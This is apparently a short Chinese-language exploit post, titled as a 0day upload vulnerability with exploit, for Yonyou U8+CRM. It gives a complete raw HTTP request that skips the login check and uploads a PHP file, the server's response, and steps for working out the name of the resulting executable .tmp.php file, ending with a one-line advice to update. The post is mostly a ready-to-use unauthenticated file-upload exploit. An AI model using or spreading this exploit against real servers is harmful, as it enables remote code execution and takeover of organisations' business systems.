用友0day上传漏洞（附EXP）

用友U8+CRM

POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1Host: 192.168.0.11:8072Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykS5RKgl8t3nwInMQContent-Length: 199------WebKitFormBoundarykS5RKgl8t3nwInMQContent-Disposition: form-data; name="file"; filename="test.php "Content-Type: text/plain<?php phpinfo();?>------WebKitFormBoundarykS5RKgl8t3nwInMQ

HTTP/1.1 200 OKDate: Fri, 25 Aug 2023 05:55:39 GMTServer: Apache/2.2.19 (Win32) PHP/5.4.38X-Powered-By: PHP/5.4.38Set-Cookie: PHPSESSID=9r6frr15q71vc034iicagf9pe1; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheVary: Accept-Encoding,User-AgentContent-Length: 123Content-Type: text/html; charset=utf-8{"success":true,"code":"","message":"","files":[],"filePath":"D:\U8SOFT\turbocrm70\code\www\tmpfile\mhtC202.tmp.mht"}=====================================说明：上传之后返回的路径为：D:\U8SOFT\turbocrm70\code\www\tmpfile\文件名称为：mhtC202.tmp.mht直接访问这个文件不解析，需要访问另一个文件// 上传之后会在目录下生成两个文件tmp.mht和tmp.php文件访问的解析文件格式为udp***.tmp.php星号部分为返回的文件名的十六进制减去一例如：B356——>45910(十六进制)，45909（十六进制减一）——>b355======================================

http://192.168.2.11:81/tmpfile/updc201.tmp.php

https://mp.weixin.qq.com/s/iCkvHKl-QC5o3gj_t02tmg

建议及时更新至最新版本！